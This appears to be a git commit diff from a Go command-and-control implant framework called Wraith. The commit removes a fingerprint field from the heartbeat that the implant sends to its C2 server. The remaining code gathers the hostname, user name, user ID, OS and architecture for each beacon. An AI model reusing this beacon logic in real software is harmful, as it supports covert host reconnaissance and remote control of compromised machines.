chore: remove fingerprint from heartbeat

Fingerprints will be generted by pc3 based on the other heartbeat
parameters, not by the Wraith.
This commit is contained in:
0x1a8510f2 2023-01-11 06:47:44 +00:00
parent 570068c8a0
commit 21302d4e78
Signed by: 0x1a8510f2
GPG Key ID: 1C692E355D76775D
2 changed files with 8 additions and 13 deletions

View File

@ -5,9 +5,6 @@ import "time"
// The structure of heartbeats which Wraiths send to c2 to register
// their status and presence.
type PacketHeartbeat struct {
// The unique fingerprint of this Wraith.
Fingerprint string
// A unique fingerprint of the family/strain this Wraith belongs to.
StrainId string

View File

@ -156,7 +156,6 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
go func() {
// Cache some values used in the heartbeat.
fingerprint := w.GetFingerprint()
strain := w.GetStrainId()
initTime := w.GetInitTime()
hostname, err := os.Hostname()
@ -185,15 +184,14 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
case <-time.After(time.Duration(interval) * time.Second):
// Build a heartbeat data packet.
heartbeatData := proto.PacketHeartbeat{
Fingerprint: fingerprint,
StrainId: strain,
InitTime: initTime,
HostOS: runtime.GOOS,
HostArch: runtime.GOARCH,
Hostname: hostname,
HostUser: username,
HostUserId: userId,
Errors: errs,
StrainId: strain,
InitTime: initTime,
HostOS: runtime.GOOS,
HostArch: runtime.GOARCH,
Hostname: hostname,
HostUser: username,
HostUserId: userId,
Errors: errs,
}
heartbeatBytes, err := proto.Marshal(&heartbeatData, m.OwnPrivKey)
if err != nil {